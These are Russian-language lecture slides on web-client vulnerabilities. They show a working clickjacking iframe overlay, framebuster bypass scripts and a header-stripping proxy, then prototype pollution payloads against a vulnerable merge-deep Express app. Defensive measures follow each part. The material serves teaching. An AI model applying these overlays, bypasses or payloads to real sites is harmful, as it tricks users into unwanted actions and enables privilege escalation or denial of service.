1 of 52

Безопасность компьютерных систем

Клиентские уязвимости web-приложений: Clickjacking и Prototype Pollution

2 of 52

Clickjacking

2

3 of 52

3

4 of 52

Как работает Clickjacking

на примере “лайка” в социальной сети

  1. Посетитель переходит на сайт злоумышленника
  2. На сайте находится кнопка или ссылка, призывающая кликнуть по ней
  3. Поверх этой кнопки находится прозрачный iframe с сайта социальной сети, позиционированный так что кнопка лайка находится прямо над ссылкой
  4. Кликая на ссылку на сайте злоумышленника, посетитель кликает на кнопку “like” в невидимом iframe

4

5 of 52

5

Изображение с сайта https://portswigger.net/web-security/clickjacking

6 of 52

6

7 of 52

<style>

#clickjacking {

position: absolute;

left: 172px;

top: 60px; /* Позиция Clickjacking области на экране */

opacity: 0;

width: 120px;

height: 20px; /* Размеры Clickjacking области */

overflow: hidden;

z-index: 100;

}

#clickjacking iframe {

position: relative;

top: -356px;

left: -216px; /* Позиция целевой области клика на сайте жертвы */

}

</style>

<div id="clickjacking">

<iframe src="https://victum.com/page" width="500" height="500" scrolling="no" frameborder="none">

</div>

7

8 of 52

Немного магии JavaScript и Clickjacking становится еще опаснее

8

Изображение с сайта https://www.surefiresearch.com/news/clickjacking-clamp-down/

9 of 52

Через Clickjacking можно перехватывать не только “клики”, но и печать в поля ввода текста

9

10 of 52

Защита?

10

Заголовок:

X-Frame-Options: SAMEORIGIN

или

X-Frame-Options: DENY

11 of 52

Можно развернуть прокси, которое вырежет

заголовки

11

https://yandex.ru

есть заголовок X-Frame-Options: DENY

https://api.allorigins.win/raw?url=https%3A%2F%2Fyandex.ru

нет заголовка X-Frame-Options

12 of 52

12

13 of 52

Защита

13

Set-Cookie: auth=VALUE; samesite

14 of 52

Пробуем защититься

другими способами

14

15 of 52

15

window

16 of 52

16

window

window

window

PAGE

IFRAME

IFRAME

17 of 52

  • self
  • parent
  • top

17

18 of 52

18

19 of 52

if (top !== self) {

top.location = self.location;

}

Пример плохой защиты

Framekiller

19

20 of 52

Способ обхода №1

<iframe src="https://victum.com/page" sandbox="allow-scripts allow-forms"></iframe>

20

21 of 52

Способ обхода №2

window.onbeforeunload = () => {

return false;

}

21

22 of 52

Способ обхода №2 (продвинутый)

var kill_bust = false;

window.onbeforeunload = () => { kill_bust = true };

setInterval(() => {

if (kill_bust) {

kill_bust = false;

top.location = 'https://httpbin.org/status/204';

}

}, 1);

22

23 of 52

<style>html { visibility: hidden }</style>

<script>

if (self === top) {

document.documentElement.style.visibility =

'visible';

} else {

top.location = self.location;

}

</script>

“Хорошая” защита

23

24 of 52

Prototype�Pollution

24

25 of 52

25

26 of 52

Прототипное наследование

26

27 of 52

Каждый объект в JavaScript содержит скрытое свойство

[[Prototype]]

27

28 of 52

28

name

[[Prototype]]

__defineGetter__

__defineSetter__

...

toString()

[[Prototype]]

Object.prototype

obj

null

29 of 52

29

Так делать плохо!

30 of 52

Для проверки принадлежности свойства объекту нужно использовать свойство hasOwnProperty

30

31 of 52

31

32 of 52

Доступ к свойству [[Prototype]] возможен через геттер/сеттер __proto__

32

33 of 52

33

Object()

Object.prototype

constructor: Object

toString: Function

...

.__proto__

.prototype

.constructor

34 of 52

34

35 of 52

35

let o = { foo: "bar" }

o.__proto__.toString = () => alert('polluted')

let prop = {}+''

//сработает alert

36 of 52

36

// key, val - пользовательский ввод

const keys = {};

if (keys[key] === undefined) {

keys[key] = val;

} else if (Array.isArray(keys[key])) {

keys[key].push(val);

} else {

keys[key] = [ keys[key], val ];

}

37 of 52

key = '__proto__'

val = '1'

37

38 of 52

38

const keys = {};

let key = '__proto__';

let val = '1';

if (keys[key] === undefined) {

keys[key] = val;

} else if (Array.isArray(keys[key])) {

keys[key].push(val);

} else {

keys[key] = [ keys[key], val ];

}

39 of 52

keys.__proto__ = [

keys.__proto__,

'1'

]

39

40 of 52

40

[[Prototype]]

__defineGetter__

__defineSetter__

...

toString()

[[Prototype]]

Object.prototype

keys

[

, '1' ]

41 of 52

  • Прототипом объекта keys становится массив�
  • keys[0] === Object.prototype

41

42 of 52

keys[0]['isAdmin'] = '1';

let user = {};

if (user.isAdmin) {

// Условие выполнится

}

42

43 of 52

Сценарии потенциально уязвимые к Prototype Pollution

  • рекурсивное слияние объектов
  • клонирование объекта
  • преобразование GET параметров в JavaScript объект
  • преобразование конфигурационных файлов .toml или .ini в JavaScript объект

43

44 of 52

В большинстве случаев Prototype pollution может привести к DoS

44

45 of 52

const merge = require('merge-deep'); // npm i merge-deep@3.0.2

const express = require('express');

const bodyParser = require('body-parser');

const app = express();

app.use(bodyParser.json({

type: 'application/json'

}));

app.get('/', function(req, res) {

res.send('ok');

});

app.post('/', function(req, res) {

const options = merge({ param: 'default value' }, req.body);

res.send('ok');

});

app.listen(3000, function() {

console.log('Example app listening on port 3000!')

});

45

46 of 52

merge-deep < 3.0.3

Prototype Pollution

46

47 of 52

{"constructor": {"keys": 1}}

47

48 of 52

48

49 of 52

Prototype pollution может привести к RCE

49

50 of 52

50

  • Добавление свойств __proto__ и constructor в черный список
  • Создание объектов без прототипа через Object.create(null)
  • hasOwnProperty для поиска ключа только внутри объекта
  • Использование Map вместо Object, для хранения коллекций с неконтролируемыми ключами
  • Валидация всех параметров, которые приходят в качестве ключей строгой схемой. Например JSON schema https://github.com/ajv-validator/ajv

Защита

51 of 52

Прототипное наследование

в JavaScript

51

52 of 52

JavaScript prototype pollution: практика поиска и эксплуатации

NodeJS - __proto__ & prototype Pollution

52